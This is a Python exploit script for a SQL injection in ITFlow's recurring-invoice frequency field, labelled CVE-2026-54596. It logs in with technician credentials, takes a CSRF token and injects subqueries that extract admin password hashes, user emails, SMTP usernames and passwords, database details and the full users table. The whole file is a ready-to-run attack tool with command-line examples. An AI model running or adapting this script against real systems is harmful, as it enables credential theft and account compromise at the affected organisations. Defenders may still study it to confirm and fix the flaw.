#!/usr/bin/env python3 import re import sys import argparse import requests BANNER = r""" ___ _____ ___ _ |_ _|_ _| __| |_____ __ __ | | | | | _|| / _ \ V V / |___| |_| |_| |_\___/\_/\_/ SQLi — recurring_invoice_frequency CVE: CVE-2026-54596 Auth: Technician + accessible invoice by iltosec """ TARGETS = { "adminhash": "(SELECT user_password FROM users LIMIT 1)", "adminemail": "(SELECT user_email FROM users LIMIT 1)", "smtppass": "(SELECT config_smtp_password FROM settings)", "smtpuser": "(SELECT config_smtp_username FROM settings)", "dbuser": "(SELECT CURRENT_USER())", "dbversion": "(SELECT VERSION())", "database": "(SELECT DATABASE())", } USER_TYPE = {1: "Agent", 2: "Client"} PREFIX = "MONTH),recurring_invoice_note=" TAIL = ",recurring_invoice_status=1,recurring_invoice_currency_code=0x61,recurring_invoice_category_id=0,recurring_invoice_client_id=1#" def payload(subquery): return PREFIX + subquery + TAIL def parse_note(html): m = re.search(r"Notes.*?]*card-body[^>]*>\s*(.*?)\s*", html, re.DOTALL) if m: raw = re.sub(r"<[^>]+>", "", m.group(1)).strip() return raw if raw else None return None def login(s, base, email, password): r = s.post(f"{base}/login.php", data={"email": email, "password": password, "login": "1"}, allow_redirects=False) return r.status_code in (301, 302) def get_csrf(s, base): for page in ("agent/invoices.php", "agent/clients.php", "agent/tickets.php"): m = re.search(r'name="csrf_token"\s+value="([^"]{10,})"', s.get(f"{base}/{page}").text) if m: return m.group(1) return None def fire(s, base, csrf, invoice_id, subquery): p = payload(subquery) if len(p) > 200: print(f" [-] Payload too long ({len(p)}/200): {subquery}") return None r = s.post(f"{base}/agent/post.php", data={ "add_invoice_recurring": "1", "csrf_token": csrf, "invoice_id": invoice_id, "frequency": p, }, allow_redirects=True) if not re.search(r"recurring_invoice_id=(\d+)", r.url): return None return parse_note(r.text) or "" def extract_users(s, base, csrf, invoice_id): count_raw = fire(s, base, csrf, invoice_id, "(SELECT COUNT(*) FROM users)") if not count_raw or not count_raw.isdigit(): print(" [-] Failed to get user count") return count = int(count_raw) print(f"\n Users ({count} total)\n") print(f" {'#':<4} {'Name':<20} {'Email':<30} {'Type':<10} Hash") print(f" {'-'*100}") for i in range(count): row = {} for col in ("user_name", "user_email", "user_type", "user_password"): row[col] = fire(s, base, csrf, invoice_id, f"(SELECT {col} FROM users LIMIT {i},1)") or "(null)" utype = USER_TYPE.get(int(row["user_type"]) if row["user_type"].isdigit() else 0, row["user_type"]) print(f" {i+1:<4} {row['user_name']:<20} {row['user_email']:<30} {utype:<10} {row['user_password']}") def main(): parser = argparse.ArgumentParser( prog="exploit.py", description="ITFlow CVE-2026-54596 - SQL Injection via recurring_invoice_frequency (agent/post/recurring_invoice.php:43) - by iltosec", formatter_class=argparse.RawTextHelpFormatter, epilog=( "Examples:\n" " python exploit.py http://itflow.com admin@x.com 'P@ss!' 1 --all\n" " python exploit.py http://itflow.com tech@x.com 'P@ss!' 2 --all\n" " python exploit.py http://itflow.com tech@x.com 'P@ss!' 2 --adminhash --smtppass\n" " python exploit.py http://itflow.com tech@x.com 'P@ss!' 2 --users\n" " python exploit.py http://itflow.com tech@x.com 'P@ss!' 2 --dbuser --dbversion" ), ) parser.add_argument("url", help="Target base URL") parser.add_argument("email", help="Login email") parser.add_argument("password", help="Login password") parser.add_argument("invoice_id", help="Invoice ID the attacker can access") parser.add_argument("--adminhash", action="store_true") parser.add_argument("--adminemail", action="store_true") parser.add_argument("--smtppass", action="store_true") parser.add_argument("--smtpuser", action="store_true") parser.add_argument("--dbuser", action="store_true") parser.add_argument("--dbversion", action="store_true") parser.add_argument("--database", action="store_true") parser.add_argument("--users", action="store_true", help="Dump all users table") parser.add_argument("--all", action="store_true", help="Run all extractions") args = parser.parse_args() print(BANNER) base = args.url.rstrip("/") if args.all: selected = list(TARGETS.keys()) run_users = True else: selected = [k for k in TARGETS if getattr(args, k, False)] run_users = args.users if not selected and not run_users: parser.print_help() sys.exit(1) s = requests.Session() s.headers["User-Agent"] = "Mozilla/5.0" print(f"[*] {base} | {args.email}") if not login(s, base, args.email, args.password): print("[-] Login failed") sys.exit(1) csrf = get_csrf(s, base) if not csrf: print("[-] CSRF token not found") sys.exit(1) print(f"[+] Logged in | CSRF: {csrf}") probe = fire(s, base, csrf, args.invoice_id, "(SELECT 1)") if probe is None: print(f"\n[-] Access denied for invoice_id={args.invoice_id}") print(f" This invoice doesn't exist or belongs to a client") print(f" that {args.email} cannot access.") print(f" Try a different invoice_id (one assigned to your client).") sys.exit(1) print(f"[+] Injection reachable\n") for key in selected: val = fire(s, base, csrf, args.invoice_id, TARGETS[key]) if val is None: print(f" [-] {key}: blocked") elif val == "": print(f" [!] {key}: NULL") else: print(f" [+] {key}: {val}") if run_users: extract_users(s, base, csrf, args.invoice_id) print("\n[*] Done.") if __name__ == "__main__": main()